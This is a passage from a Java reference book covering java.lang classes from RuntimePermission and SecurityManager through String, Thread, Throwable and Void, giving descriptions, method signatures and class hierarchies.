Supported RuntimePermssion names are: "accessClassInPackage.package", "accessDeclaredMembers", "createClassLoader", "createSecurityManager", "defineClassInPackage.package", "exitVM", "getClassLoader", "getProtectionDomain", "loadLibrary.library_name", "modifyThread", "modifyThreadGroup", "queuePrintJob", "readFileDescriptor", "set-ContextClassLoader", "setFactory", "setIO", "setSecurityManager", "stopThread", and "writeFileDescriptor".

System administrators configuring security policies should be familiar with these permission names, the operations they govern access to, and with the risks inherent in granting any of them. Although system programmers may need to work with this class, application programmers should never need to use RuntimePermssion directly.

public final class RuntimePermission extends java.security.BasicPermission {
// | Public Constructors
 | public RuntimePermission (String name);
 | public RuntimePermission (String name, String actions);
}

Hierarchy: Object-->java.security.Permission(java.security.Guard,Serializable)-->java.security.BasicPermission(Serializable)-->RuntimePermission

SecurityException | Java 1.0
java.lang | serializable unchecked PJ1.1

Signals that an operation is not permitted for security reasons.

public class SecurityException extends RuntimeException {
// | Public Constructors
 | public SecurityException ();
 | public SecurityException (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->SecurityException

Subclasses: java.rmi.RMISecurityException, java.security.AccessControlException

Thrown By: Too many methods to list.

SecurityManager | Java 1.0
java.lang | PJ1.1

This class defines the methods necessary to implement a security policy for the safe execution of untrusted code. Before performing potentially sensitive operations, Java calls methods of the SecurityManager object currently in effect to determine whether the operations are permitted. These methods throw a SecurityException if the operation is not permitted. Typical applications do not need to use or subclass SecurityManager. It is typically used only by web browsers, applet viewers, and other programs that need to run untrusted code in a controlled environment.

Prior to Java 1.2, this class is abstract, and the default implementation of each check() method throws a SecurityException unconditionally. The Java security mechanism has been overhauled as of Java 1.2. As part of the overhaul, this class is no longer abstract and its methods have useful default implementations, so there is rarely a need to subclass it. If so, the method returns silently; if not, it throws a SecurityException. checkPermission() operates by invoking the checkPermission() method of the system java.security.AccessController object. In Java 1.2 and later, all other check() methods of SecurityManager are now implemented on top of checkPermission().

public class SecurityManager {
// | Public Constructors
 | public SecurityManager (); |
// | Property Accessor Methods (by property name)
 | public Object getSecurityContext (); | default:AccessControlContext
1.1 | public ThreadGroup getThreadGroup (); |
// | Public Instance Methods
 | public void checkAccept (String host, int port); |
 | public void checkAccess (Thread t); |
 | public void checkAccess (ThreadGroup g); |
1.1 | public void checkAwtEventQueueAccess (); |
 | public void checkConnect (String host, int port); |
 | public void checkConnect (String host, int port, Object context); |
 | public void checkCreateClassLoader (); |
 | public void checkDelete (String file); |
 | public void checkExec (String cmd); |
 | public void checkExit (int status); |
 | public void checkLink (String lib); |
 | public void checkListen (int port); |
1.1 | public void checkMemberAccess (Class clazz, int which); |
1.1 | public void checkMulticast (java.net.InetAddress maddr); |
1.1 | public void checkMulticast (java.net.InetAddress maddr, byte ttl); |
 | public void checkPackageAccess (String pkg); |
 | public void checkPackageDefinition (String pkg); |
1.2 | public void checkPermission (java.security.Permission perm); |
1.2 | public void checkPermission (java.security.Permission perm, Object context); |
1.1 | public void checkPrintJobAccess (); |
 | public void checkPropertiesAccess (); |
 | public void checkPropertyAccess (String key); |
 | public void checkRead (String file); |
 | public void checkRead (java.io.FileDescriptor fd); |
 | public void checkRead (String file, Object context); |
1.1 | public void checkSecurityAccess (String target); |
 | public void checkSetFactory (); |
1.1 | public void checkSystemClipboardAccess (); |
 | public boolean checkTopLevelWindow (Object window); |
 | public void checkWrite (String file); |
 | public void checkWrite (java.io.FileDescriptor fd); |
// | Protected Instance Methods
 | protected Class[ ] getClassContext (); | native
// | Deprecated Public Methods
# | public boolean getInCheck (); | default:false
// | Deprecated Protected Methods
# | protected int classDepth (String name); | native
# | protected int classLoaderDepth (); |
# | protected ClassLoader currentClassLoader (); |
1.1# | protected Class currentLoadedClass (); |
# | protected boolean inClass (String name); |
# | protected boolean inClassLoader (); |
// | Deprecated Protected Fields
# | protected boolean inCheck ; |
}

Subclasses: java.rmi.RMISecurityManager

Passed To: System.setSecurityManager()

Returned By: System.getSecurityManager()

Short | Java 1.1
java.lang | serializable comparable PJ1.1

This class provides an object wrapper around the short primitive type. It defines useful constants for the minimum and maximum values that can be stored by the short type, and also a Class object constant that represents the short type. It also provides various methods for converting Short values to and from strings and other numeric types.

Most of the static methods of this class can convert a String to a Short object or a short value; the four parseShort() and valueOf() methods parse a number from the specified string using an optionally specified radix and return it in one of these two forms. The decode() method parses a number specified in base 10, base 8, or base 16 and returns it as a Short. If the string begins with "0x" or "#", it is interpreted as a hexadecimal number; if it begins with "0", it is interpreted as an octal number. Otherwise, it is interpreted as a decimal number.

Note that this class has two different toString() methods. One is static and converts a short primitive value to a string. The other is the usual toString() method that converts a Short object to a string. Most of the remaining methods convert a Short to various primitive numeric types.

public final class Short extends Number implements Comparable {
// | Public Constructors
 | public Short (short value); |
 | public Short (String s) throws NumberFormatException; |
// | Public Constants
 | public static final short MAX_VALUE ; | =32767
 | public static final short MIN_VALUE ; | =-32768
 | public static final Class TYPE ; |
// | Public Class Methods
 | public static Short decode (String nm) throws NumberFormatException; |
 | public static short parseShort (String s) throws NumberFormatException; |
 | public static short parseShort (String s, int radix) throws NumberFormatException; |
 | public static String toString (short s); |
 | public static Short valueOf (String s) throws NumberFormatException; |
 | public static Short valueOf (String s, int radix) throws NumberFormatException; |
// | Public Instance Methods
1.2 | public int compareTo (Short anotherShort); |
// | Methods Implementing Comparable
1.2 | public int compareTo (Object o); |
// | Public Methods Overriding Number
 | public byte byteValue (); |
 | public double doubleValue (); |
 | public float floatValue (); |
 | public int intValue (); |
 | public long longValue (); |
 | public short shortValue (); |
// | Public Methods Overriding Object
 | public boolean equals (Object obj); |
 | public int hashCode (); |
 | public String toString (); |
}

Hierarchy: Object-->Number(Serializable)-->Short(Comparable)

Passed To: Short.compareTo()

Returned By: Short.{decode(), valueOf()}

StackOverflowError | Java 1.0
java.lang | serializable error PJ1.1

Signals that a stack overflow has occurred within the Java interpreter.

public class StackOverflowError extends VirtualMachineError {
// | Public Constructors
 | public StackOverflowError ();
 | public StackOverflowError (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Error-->VirtualMachineError-->StackOverflowError

StrictMath Java 1.3 Beta
java.lang

This class is identical to the Math class, but additionally requires that its methods strictly adhere to the behavior of certain published algorithms. The methods of StrictMath are intended to operate identically, down to the very least significant bit, for all possible arguments. When strict platform-independence of floating-point results is not required, use the Math class for better performance.

public final class StrictMath {
// | No Constructor
// | Public Constants
 | public static final double E ; | =2.718281828459045
 | public static final double PI ; | =3.141592653589793
// | Public Class Methods
 | public static int abs (int a); | strictfp
 | public static long abs (long a); | strictfp
 | public static float abs (float a); | strictfp
 | public static double abs (double a); | strictfp
 | public static double acos (double a); | native strictfp
 | public static double asin (double a); | native strictfp
 | public static double atan (double a); | native strictfp
 | public static double atan2 (double a, double b); | native strictfp
 | public static double ceil (double a); | native strictfp
 | public static double cos (double a); | native strictfp
 | public static double exp (double a); | native strictfp
 | public static double floor (double a); | native strictfp
 | public static double IEEEremainder (double f1, double f2); | native strictfp
 | public static double log (double a); | native strictfp
 | public static int max (int a, int b); | strictfp
 | public static long max (long a, long b); | strictfp
 | public static float max (float a, float b); | strictfp
 | public static double max (double a, double b); | strictfp
 | public static int min (int a, int b); | strictfp
 | public static long min (long a, long b); | strictfp
 | public static float min (float a, float b); | strictfp
 | public static double min (double a, double b); | strictfp
 | public static double pow (double a, double b); | native strictfp
 | public static double random (); | strictfp
 | public static double rint (double a); | native strictfp
 | public static int round (float a); | strictfp
 | public static long round (double a); | strictfp
 | public static double sin (double a); | native strictfp
 | public static double sqrt (double a); | native strictfp
 | public static double tan (double a); | native strictfp
 | public static double toDegrees (double angrad); | strictfp
 | public static double toRadians (double angdeg); | strictfp
}
String | Java 1.0
java.lang | serializable comparable PJ1.1

The String class represents a string of characters. A String object is created by the Java compiler whenever it encounters a string in double quotes; this method of creation is typically simpler than using a constructor. Some methods of this class provide useful string-manipulation functions. length() returns the number of characters in a string. charAt() extracts a character from a string. compareTo() compares two strings, while equalsIgnoreCase() tests strings for equality, ignoring case. startsWith() and endsWith() compare the start and end of a string to a specified value. indexOf() and lastIndexOf() search forward and backward in a string for a specified character or substring. substring() returns a substring of a string. replace() creates a new copy of the string with one character replaced by another. toUpperCase() and toLowerCase() convert the case of a string. trim() strips whitespace from the start and end of a string. concat() concatenates two strings, which can also be done with the + operator. The static valueOf() methods convert various Java primitive types to strings.

Note that String objects are immutable; there is no setCharAt() method to change the contents. The methods above that return a String do not modify the string they are passed, but instead return a modified copy of the string. Use a StringBuffer if you want to manipulate the contents of a string or toCharArray() to convert a string to an array of char values.

public final class String implements ComparableSerializable {
// | Public Constructors
 | public String (); |
1.1 | public String (byte[ ] bytes); |
 | public String (StringBuffer buffer); |
 | public String (String value); |
 | public String (char[ ] value); |
1.1 | public String (byte[ ] bytes, String enc) throws java.io.UnsupportedEncodingException; |
# | public String (byte[ ] ascii, int hibyte); |
 | public String (char[ ] value, int offset, int count); |
1.1 | public String (byte[ ] bytes, int offset, int length); |
1.1 | public String (byte[ ] bytes, int offset, int length, String enc) throws java.io.UnsupportedEncodingException; |
# | public String (byte[ ] ascii, int hibyte, int offset, int count); |
// | Public Constants
1.2 | public static final java.util.Comparator CASE_INSENSITIVE_ORDER ; |
// | Public Class Methods
 | public static String copyValueOf (char[ ] data); |
 | public static String copyValueOf (char[ ] data, int offset, int count); |
 | public static String valueOf (long l); |
 | public static String valueOf (float f); |
 | public static String valueOf (double d); |
 | public static String valueOf (int i); |
 | public static String valueOf (Object obj); |
 | public static String valueOf (char[ ] data); |
 | public static String valueOf (char c); |
 | public static String valueOf (boolean b); |
 | public static String valueOf (char[ ] data, int offset, int count); |
// | Public Instance Methods
 | public char charAt (int index); |
 | public int compareTo (String anotherString); |
1.2 | public int compareToIgnoreCase (String str); |
 | public String concat (String str); |
 | public boolean endsWith (String suffix); |
 | public boolean equalsIgnoreCase (String anotherString); |
1.1 | public byte[ ] getBytes (); |
1.1 | public byte[ ] getBytes (String enc) throws java.io.UnsupportedEncodingException; |
 | public void getChars (int srcBegin, int srcEnd, char[ ] dst, int dstBegin); |
 | public int indexOf (String str); |
 | public int indexOf (int ch); |
 | public int indexOf (int ch, int fromIndex); |
 | public int indexOf (String str, int fromIndex); |
 | public String intern (); | native
 | public int lastIndexOf (int ch); |
 | public int lastIndexOf (String str); |
 | public int lastIndexOf (int ch, int fromIndex); |
 | public int lastIndexOf (String str, int fromIndex); |
 | public int length (); |
 | public boolean regionMatches (int toffset, String other, int ooffset, int len); |
 | public boolean regionMatches (boolean ignoreCase, int toffset, String other, int ooffset, int len); |
 | public String replace (char oldChar, char newChar); |
 | public boolean startsWith (String prefix); |
 | public boolean startsWith (String prefix, int toffset); |
 | public String substring (int beginIndex); |
 | public String substring (int beginIndex, int endIndex); |
 | public char[ ] toCharArray (); |
 | public String toLowerCase (); |
1.1 | public String toLowerCase (java.util.Locale locale); |
 | public String toUpperCase (); |
1.1 | public String toUpperCase (java.util.Locale locale); |
 | public String trim (); |
// | Methods Implementing Comparable
1.2 | public int compareTo (Object o); |
// | Public Methods Overriding Object
 | public boolean equals (Object anObject); |
 | public int hashCode (); |
 | public String toString (); |
// | Deprecated Public Methods
# | public void getBytes (int srcBegin, int srcEnd, byte[ ] dst, int dstBegin); |
}

Hierarchy: Object-->String(Comparable,Serializable)

Passed To: Too many methods to list.

Returned By: Too many methods to list.

Type Of: Too many fields to list.

StringBuffer | Java 1.0
java.lang | serializable PJ1.1

This class represents a mutable string of characters that can grow or shrink as necessary. Its mutability makes it suitable for processing text in place, which is not possible with the immutable String class. Its resizability and the various methods it implements make it easier to use than a char[]. You can query the character stored at a given index with charAt() and set the character with setCharAt(). Use the various append() methods to append text to the end of the buffer. Use insert() to insert text at a specified position within the buffer. Note that arguments to append() and insert() are converted to strings as necessary before they are appended or inserted. Use toString() to convert the contents of a StringBuffer to a String object. In Java 1.2 and later, use deleteCharAt() or delete() to delete a single character or a range of characters from the buffer. Use replace() to replace a range of characters with a specified String, and use substring() to convert a portion of a StringBuffer to a String.

String concatenation in Java is performed with the + operator and is implemented using the append() method of a StringBuffer. After a string is processed in a StringBuffer object, it can be efficiently converted to a String object for subsequent use. The StringBuffer.toString() method is typically implemented so that it does not copy the internal array of characters. Instead, it shares that array with the new String object, making a new copy for itself only if and when further modifications are made to the StringBuffer object.

public final class StringBuffer implements Serializable {
// | Public Constructors
 | public StringBuffer (); |
 | public StringBuffer (int length); |
 | public StringBuffer (String str); |
// | Public Instance Methods
 | public StringBuffer append (char[ ] str); | synchronized
 | public StringBuffer append (boolean b); |
 | public StringBuffer append (Object obj); | synchronized
 | public StringBuffer append (String str); | synchronized
 | public StringBuffer append (char c); | synchronized
 | public StringBuffer append (float f); |
 | public StringBuffer append (double d); |
 | public StringBuffer append (int i); |
 | public StringBuffer append (long l); |
 | public StringBuffer append (char[ ] str, int offset, int len); | synchronized
 | public int capacity (); |
 | public char charAt (int index); | synchronized
1.2 | public StringBuffer delete (int start, int end); | synchronized
1.2 | public StringBuffer deleteCharAt (int index); | synchronized
 | public void ensureCapacity (int minimumCapacity); | synchronized
 | public void getChars (int srcBegin, int srcEnd, char[ ] dst, int dstBegin); | synchronized
 | public StringBuffer insert (int offset, char[ ] str); | synchronized
 | public StringBuffer insert (int offset, boolean b); |
 | public StringBuffer insert (int offset, Object obj); | synchronized
 | public StringBuffer insert (int offset, String str); | synchronized
 | public StringBuffer insert (int offset, char c); | synchronized
 | public StringBuffer insert (int offset, float f); |
 | public StringBuffer insert (int offset, double d); |
 | public StringBuffer insert (int offset, int i); |
 | public StringBuffer insert (int offset, long l); |
1.2 | public StringBuffer insert (int index, char[ ] str, int offset, int len); | synchronized
 | public int length (); |
1.2 | public StringBuffer replace (int start, int end, String str); | synchronized
 | public StringBuffer reverse (); | synchronized
 | public void setCharAt (int index, char ch); | synchronized
 | public void setLength (int newLength); | synchronized
1.2 | public String substring (int start); |
1.2 | public String substring (int start, int end); | synchronized
// | Public Methods Overriding Object
 | public String toString (); |
}

Hierarchy: Object-->StringBuffer(Serializable)

Passed To: Too many methods to list.

Returned By: Too many methods to list.

StringIndexOutOfBoundsException | Java 1.0
java.lang | serializable unchecked PJ1.1

Signals that the index used to access a character of a String or StringBuffer is less than zero or is too large.

public class StringIndexOutOfBoundsException extends IndexOutOfBoundsException {
// | Public Constructors
 | public StringIndexOutOfBoundsException ();
 | public StringIndexOutOfBoundsException (int index);
 | public StringIndexOutOfBoundsException (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->IndexOutOfBoundsException-->StringIndexOutOfBoundsException

System | Java 1.0
java.lang | PJ1.1

This class defines a platform-independent interface to system facilities, including system properties and system input and output streams. All methods and variables of this class are static, and the class cannot be instantiated. Because the methods defined by this class are low-level system methods, most require special permissions and cannot be executed by untrusted code.

getProperty() looks up a named property on the system-properties list, returning the optionally specified default value if no property definition is found. getProperties() returns the entire properties list. setProperties() sets a Properties object on the properties list. In Java 1.2 and later, setProperty() sets the value of a system property. The following table lists system properties that are always defined. Untrusted code may be unable to read some or all of these properties. Additional properties can be defined using the -D option when invoking the Java interpreter.

Property Name | Description
java.home | The directory Java is installed in
java.class.path | Where classes are loaded from
java.specification.version | Version of the Java API specification ( Java 1.2)
java.specification.vendor | Vendor of the Java API specifiction ( Java 1.2)
java.specification.name | Name of the Java API specification ( Java 1.2)
java.version | Version of the Java API implementation
java.vendor | Vendor of this Java API implementation
java.vendor.url | URL of the vendor of this Java API implementation
java.vm.specification.version | Version of the Java VM specification ( Java 1.2)
java.vm.specification.vendor | Vendor of the Java VM specification ( Java 1.2)
java.vm.specification.name | Name of the Java VM specification ( Java 1.2)
java.vm.version | Version of the Java VM implementation ( Java 1.2)
java.vm.vendor | Vendor of the Java VM implementation ( Java 1.2)
java.vm.name | Name of the Java VM implementation ( Java 1.2)
java.class.version | Version of the Java class file format
os.name | Name of the host operating system
os.arch | Host operating system architecture
os.version | Version of the host operating system
file.separator | Platform directory separator character
path.separator | Platform path separator character
line.separator | Platform line separator character(s)
user.name | Current user's account name
user.home | Home directory of current user
user.dir | The current working directory

The in, out, and err fields hold the standard input, output, and error streams for the system. These fields are frequently used in calls such as System.out.println(). In Java 1.1, setIn(), setOut(), and setErr() allow these streams to be redirected.

System also defines various other useful static methods. exit() causes the Java VM to exit. arraycopy() efficiently copies an array or a portion of an array into a destination array. currentTimeMillis() returns the current time in milliseconds since midnight GMT, January 1, 1970 GMT. gc() requests that the garbage collector perform a thorough garbage-collection pass, and runFinalization() requests that the garbage collector finalize all objects that are ready for finalization. Applications do not typically need to call these garbage-collection methods, but they can be useful when benchmarking code with currentTimeMillis(). identityHashCode() computes the hashcode for an object in the same way that the default Object.hashCode() method does. It does this regardless of whether or how the hashCode() method has been overridden. load() and loadLibrary() can read libraries of native code into the system. mapLibraryName() converts a system-independent library name into a system-dependent library filename. Finally, getSecurityManager() and setSecurityManager() get and set the system SecurityManager object responsible for the system security policy.

See also Runtime, which defines several other methods that provide low-level access to system facilities.

public final class System {
// | No Constructor
// | Public Constants
 | public static final java.io.PrintStream err ; |
 | public static final java.io.InputStream in ; |
 | public static final java.io.PrintStream out ; |
// | Public Class Methods
 | public static void arraycopy (Object src, int src_position, Object dst, int dst_position, int length); | native
 | public static long currentTimeMillis (); | native
 | public static void exit (int status); |
 | public static void gc (); |
 | public static java.util.Properties getProperties (); |
 | public static String getProperty (String key); |
 | public static String getProperty (String key, String def); |
 | public static SecurityManager getSecurityManager (); |
1.1 | public static int identityHashCode (Object x); | native
 | public static void load (String filename); |
 | public static void loadLibrary (String libname); |
1.2 | public static String mapLibraryName (String libname); | native
 | public static void runFinalization (); |
1.1 | public static void setErr (java.io.PrintStream err); |
1.1 | public static void setIn (java.io.InputStream in); |
1.1 | public static void setOut (java.io.PrintStream out); |
 | public static void setProperties (java.util.Properties props); |
1.2 | public static String setProperty (String key, String value); |
 | public static void setSecurityManager (SecurityManager s); |
// | Deprecated Public Methods
# | public static String getenv (String name); |
1.1# | public static void runFinalizersOnExit (boolean value); |
}
Thread | Java 1.0
java.lang | runnable PJ1.1

This class encapsulates all information about a single thread of control running on the Java interpreter. To create a thread, you must either pass a Runnable object (i.e., an object that implements the Runnable interface by defining a run() method) to the Thread constructor or subclass Thread so that it defines its own run() method. The run() method of the Thread or of the specified Runnable object is the body of the thread. It begins executing when the start() method of the Thread object is called. The thread runs until the run() method returns. isAlive() returns true if a thread has been started, and the run() method has not yet exited.

The static methods of this class operate on the currently running thread. currentThread() returns the Thread object of the currently running code. sleep() makes the current thread stop for a specified amount of time. yield() makes the current thread give up control to any other threads of equal priority that are waiting to run.

The instance methods may be called by one thread to operate on a different thread. checkAccess() checks whether the running thread has permission to modify a Thread object and throws a SecurityException if it does not. join() waits for a thread to die. interrupt() wakes up a waiting or sleeping thread (with an InterruptedException) or sets an interrupted flag on a nonsleeping thread. A thread can test its own interrupted flag with the static interrupted() method or can test the flag of another thread with isInterrupted(). Calling interrupted() implicitly clears the interrupted flag, but calling isInterrupted() does not. Methods related to sleep() and interrupt() are the wait() and notify() methods defined by the Object class. Calling wait() causes the current thread to block until the object's notify() method is called by another thread.

setName() sets the name of a thread, which is purely optional. setPriority() sets the priority of the thread. Higher priority threads run before lower-priority threads. Java does not specify what happens to multiple threads of equal priority; some systems perform time-slicing and share the CPU between such threads. On other systems, one compute-bound thread that does not call yield() may starve another thread of the same priority. setDaemon() sets a boolean flag that specifies whether this thread is a daemon or not. The Java VM keeps running as long as at least one non-daemon thread is running. Call getThreadGroup() to obtain the ThreadGroup of which a thread is part. In Java 1.2 and later, use setContextClassLoader() to specify the ClassLoader to be used to load any classes required by the thread.

suspend(), resume(), and stop() suspend, resume, and stop a given thread, respectively, but all three methods are deprecated because they are inherently unsafe and can cause deadlock. If a thread must be stoppable, have it periodically check a flag and exit if the flag is set.

public class Thread implements Runnable {
// | Public Constructors
 | public Thread (); |
 | public Thread (String name); |
 | public Thread (Runnable target); |
 | public Thread (Runnable target, String name); |
 | public Thread (ThreadGroup group, Runnable target); |
 | public Thread (ThreadGroup group, String name); |
 | public Thread (ThreadGroup group, Runnable target, String name); |
// | Public Constants
 | public static final int MAX_PRIORITY ; | =10
 | public static final int MIN_PRIORITY ; | =1
 | public static final int NORM_PRIORITY ; | =5
// | Public Class Methods
 | public static int activeCount (); |
 | public static Thread currentThread (); | native
 | public static void dumpStack (); |
 | public static int enumerate (Thread[ ] tarray); |
 | public static boolean interrupted (); |
 | public static void sleep (long millis) throws InterruptedException; | native
 | public static void sleep (long millis, int nanos) throws InterruptedException; |
 | public static void yield (); | native
// | Property Accessor Methods (by property name)
 | public final boolean isAlive (); | native default:false
1.2 | public ClassLoader getContextClassLoader (); |
1.2 | public void setContextClassLoader (ClassLoader cl); |
 | public final boolean isDaemon (); | default:false
 | public final void setDaemon (boolean on); |
 | public boolean isInterrupted (); | default:false
 | public final String getName (); | default:"Thread-0"
 | public final void setName (String name); |
 | public final int getPriority (); | default:5
 | public final void setPriority (int newPriority); |
 | public final ThreadGroup getThreadGroup (); |
// | Public Instance Methods
 | public final void checkAccess (); |
 | public void destroy (); |
 | public void interrupt (); |
 | public final void join () throws InterruptedException; |
 | public final void join (long millis) throws InterruptedException; | synchronized
 | public final void join (long millis, int nanos) throws InterruptedException; | synchronized
 | public void start (); | native synchronized
// | Methods Implementing Runnable
 | public void run (); |
// | Public Methods Overriding Object
 | public String toString (); |
// | Deprecated Public Methods
# | public int countStackFrames (); | native
# | public final void resume (); |
# | public final void stop (); |
# | public final void stop (Throwable obj); | synchronized
# | public final void suspend (); |
}

Hierarchy: Object-->Thread(Runnable)

Passed To: Runtime.{addShutdownHook(), removeShutdownHook()}, SecurityManager.checkAccess(), Thread.enumerate(), ThreadGroup.{enumerate(), uncaughtException()}

Returned By: Thread.currentThread(), javax.swing.text.AbstractDocument.getCurrentWriter()

ThreadDeath | Java 1.0
java.lang | serializable error PJ1.1

Signals that a thread should terminate. This error is thrown in a thread when the Thread.stop() method is called for that thread. This is an unusual Error type that simply causes a thread to be terminated, but does not print an error message or cause the interpreter to exit. You can catch ThreadDeath errors to do any necessary cleanup for a thread, but if you do, you must rethrow the error so that the thread actually terminates.

public class ThreadDeath extends Error {
// | Public Constructors
 | public ThreadDeath ();
}

Hierarchy: Object-->Throwable(Serializable)-->Error-->ThreadDeath

ThreadGroup | Java 1.0
java.lang | PJ1.1

This class represents a group of threads and allows that group to be manipulated as a whole. A ThreadGroup can contain Thread objects, as well as other child ThreadGroup objects. All ThreadGroup objects are created as children of some other ThreadGroup, and thus there is a parent/child hierarchy of ThreadGroup objects. Use getParent() to obtain the parent ThreadGroup, and use activeCount(), activeGroupCount(), and the various enumerate() methods to list the child Thread and ThreadGroup objects. Most applications can simply rely on the default system thread group. System-level code and applications such as servers that need to create a large number of threads may find it convenient to create their own ThreadGroup objects, however.

interrupt() interrupts all threads in the group at once. setMaxPriority() specifies the maximum priority any thread in the group can have. checkAccess() checks whether the calling thread has permission to modify the given thread group. The method throws a SecurityException if the current thread does not have access. uncaughtException() contains the code that is run when a thread terminates because of an uncaught exception or error. You can customize this method by subclassing ThreadGroup.

public class ThreadGroup {
// | Public Constructors
 | public ThreadGroup (String name); |
 | public ThreadGroup (ThreadGroup parent, String name); |
// | Property Accessor Methods (by property name)
 | public final boolean isDaemon (); |
 | public final void setDaemon (boolean daemon); |
1.1 | public boolean isDestroyed (); | synchronized
 | public final int getMaxPriority (); |
 | public final void setMaxPriority (int pri); |
 | public final String getName (); |
 | public final ThreadGroup getParent (); |
// | Public Instance Methods
 | public int activeCount (); |
 | public int activeGroupCount (); |
 | public final void checkAccess (); |
 | public final void destroy (); |
 | public int enumerate (ThreadGroup[ ] list); |
 | public int enumerate (Thread[ ] list); |
 | public int enumerate (ThreadGroup[ ] list, boolean recurse); |
 | public int enumerate (Thread[ ] list, boolean recurse); |
1.2 | public final void interrupt (); |
 | public void list (); |
 | public final boolean parentOf (ThreadGroup g); |
 | public void uncaughtException (Thread t, Throwable e); |
// | Public Methods Overriding Object
 | public String toString (); |
// | Deprecated Public Methods
1.1# | public boolean allowThreadSuspension (boolean b); |
# | public final void resume (); |
# | public final void stop (); |
# | public final void suspend (); |
}

Passed To: SecurityManager.checkAccess(), Thread.Thread(), ThreadGroup.{enumerate(), parentOf(), ThreadGroup()}

Returned By: SecurityManager.getThreadGroup(), Thread.getThreadGroup(), ThreadGroup.getParent()

ThreadLocal Java 1.2
java.lang

This class provides a convenient way to create thread-local variables. When you declare a static field in a class, there is only one value for that field, shared by all objects of the class. When you declare a nonstatic instance field in a class, every object of the class has its own separate copy of that variable. ThreadLocal provides an option between these two extremes. If you declare a static field to hold a ThreadLocal object, that ThreadLocal holds a different value for each thread. Objects running in the same thread see the same value when they call the get() method of the ThreadLocal object. Objects running in different threads obtain different values from get(), however.

The set() method sets the value held by the ThreadLocal object for the currently running thread. get() returns the value held for the currently running thread. Note that there is no way to obtain the value of the ThreadLocal object for any thread other than the one that calls get(). To understand the ThreadLocal class, you may find it helpful to think of a ThreadLocal object as a hashtable or java.util.Map that maps from Thread objects to arbitrary values. Calling set() creates an association between the current Thread (Thread.currentThread()) and the specified value. Calling get() first looks up the current thread, then uses the hashtable to look up the value associated with that current thread.

If a thread calls get() for the first time without having first called set() to establish a thread-local value, get() calls the protected initialValue() method to obtain the initial value to return. The default implementation of initialValue() simply returns null, but subclasses can override this if they desire.

See also InheritableThreadLocal, which allows thread-local values to be inherited from parent threads by child threads.

public class ThreadLocal {
// | Public Constructors
 | public ThreadLocal (); |
// | Public Instance Methods
 | public Object get (); |
 | public void set (Object value); |
// | Protected Instance Methods
 | protected Object initialValue (); | constant
}

Subclasses: InheritableThreadLocal

Throwable | Java 1.0
java.lang | serializable PJ1.1

This is the root class of the Java exception and error hierarchy. All exceptions and errors are subclasses of Throwable. The getMessage() method retrieves any error message associated with the exception or error. printStackTrace() prints a stack trace that shows where the exception occurred. fillInStackTrace() extends the stack trace when the exception is partially handled and then rethrown.

public class Throwable implements Serializable {
// | Public Constructors
 | public Throwable (); |
 | public Throwable (String message); |
// | Public Instance Methods
 | public Throwable fillInStackTrace (); | native
1.1 | public String getLocalizedMessage (); | default:null
 | public String getMessage (); | default:null
 | public void printStackTrace (); |
 | public void printStackTrace (java.io.PrintStream s); |
1.1 | public void printStackTrace (java.io.PrintWriter s); |
// | Public Methods Overriding Object
 | public String toString (); |
}

Hierarchy: Object-->Throwable(Serializable)

Subclasses: Error, Exception

Passed To: Too many methods to list.

Returned By: ClassNotFoundException.getException(), ExceptionInInitializerError.getException(), Throwable.fillInStackTrace(), java.lang.reflect.InvocationTargetException.getTargetException(), java.lang.reflect.UndeclaredThrowableException.getUndeclaredThrowable(), javax.naming.NamingException.getRootCause(), javax.servlet.ServletException.getRootCause()

Thrown By: java.awt.AWTEvent.finalize(), java.awt.Font.finalize(), java.awt.Frame.finalize(), java.awt.Window.finalize(), Object.finalize(), java.lang.reflect.InvocationHandler.invoke(), javax.swing.text.AbstractDocument.AbstractElement.finalize()

Type Of: java.rmi.RemoteException.detail, java.rmi.activation.ActivationException.detail, javax.naming.NamingException.rootException, org.omg.CORBA.portable.UnknownException.originalEx

UnknownError | Java 1.0
java.lang | serializable error PJ1.1

Signals that an unknown error has occurred at the level of the Java Virtual Machine.

public class UnknownError extends VirtualMachineError {
// | Public Constructors
 | public UnknownError ();
 | public UnknownError (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Error-->VirtualMachineError-->UnknownError

UnsatisfiedLinkError | Java 1.0
java.lang | serializable error PJ1.1

Signals that Java cannot satisfy all the links in a class that it has loaded.

public class UnsatisfiedLinkError extends LinkageError {
// | Public Constructors
 | public UnsatisfiedLinkError ();
 | public UnsatisfiedLinkError (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Error-->LinkageError-->UnsatisfiedLinkError

UnsupportedClassVersionError | Java 1.2
java.lang | serializable error

Every Java class file contains a version number that specifies the version of the class file format. This error is thrown when the Java Virtual Machine attempts to read a class file with a version number it does not support.

public class UnsupportedClassVersionError extends ClassFormatError {
// | Public Constructors
 | public UnsupportedClassVersionError ();
 | public UnsupportedClassVersionError (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Error-->LinkageError-->ClassFormatError-->UnsupportedClassVersionError

UnsupportedOperationException | Java 1.2
java.lang | serializable unchecked

Signals that a method you have called is not supported, and its implementation does not do anything (except throw this exception). This exception is used most often by the Java collection framework of java.util. Immutable or unmodifiable collections throw this exception when a modification method, such as add() or delete(), is called.

public class UnsupportedOperationException extends RuntimeException {
// | Public Constructors
 | public UnsupportedOperationException ();
 | public UnsupportedOperationException (String message);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->UnsupportedOperationException

VerifyError | Java 1.0
java.lang | serializable error PJ1.1

Signals that a class has not passed the byte-code verification procedures.

public class VerifyError extends LinkageError {
// | Public Constructors
 | public VerifyError ();
 | public VerifyError (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Error-->LinkageError-->VerifyError

VirtualMachineError | Java 1.0
java.lang | serializable error PJ1.1

An abstract error type that serves as superclass for a group of errors related to the Java Virtual Machine. See InternalError, UnknownError, OutOfMemoryError, and StackOverflowError.

public abstract class VirtualMachineError extends Error {
// | Public Constructors
 | public VirtualMachineError ();
 | public VirtualMachineError (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Error-->VirtualMachineError

Subclasses: InternalError, OutOfMemoryError, StackOverflowError, UnknownError

Void | Java 1.1
java.lang | PJ1.1

The Void class cannot be instantiated and serves merely as a placeholder for its static TYPE field, which is a Class object constant that represents the void type.

public final class Void {
// | No Constructor
// | Public Constants
 | public static final Class TYPE ;
}
Previous | Home | Next
